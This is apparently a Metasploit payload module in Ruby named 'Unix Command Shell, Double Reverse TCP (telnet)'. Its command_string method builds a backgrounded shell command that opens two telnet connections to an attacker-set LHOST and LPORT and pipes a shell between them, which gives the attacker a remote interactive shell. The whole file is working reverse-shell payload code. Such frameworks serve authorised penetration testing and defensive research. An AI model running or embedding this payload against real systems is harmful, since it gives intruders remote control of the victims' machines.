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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 130
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Unix Command Shell, Double Reverse TCP (telnet)',
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        'Description' => 'Creates an interactive shell through two inbound connections',
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        'Author' => 'hdm',
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        'License' => MSF_LICENSE,
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Handler' => Msf::Handler::ReverseTcpDouble,
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        'Session' => Msf::Sessions::CommandShell,
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        'PayloadType' => 'cmd',
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        'RequiredCmd' => 'telnet',
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        'Payload' => {
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          'Offsets' => {},
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          'Payload' => ''
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        }
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      )
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    )
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    register_advanced_options(
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      [
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        OptString.new('TelnetPath', [true, 'The path to the telnet executable', 'telnet']),
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        OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
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      ]
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    )
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    vprint_good(command_string)
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    return super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    cmd =
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      "#{datastore['ShellPath']} -c '(sleep #{rand(3600..4623)}|" \
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      "#{datastore['TelnetPath']} #{datastore['LHOST']} #{datastore['LPORT']}|" \
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      "while : ; do #{datastore['ShellPath']} && break; done 2>&1|" \
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      "#{datastore['TelnetPath']} #{datastore['LHOST']} #{datastore['LPORT']}" \
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      " >/dev/null 2>&1 &)'"
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    return cmd
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  end
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end
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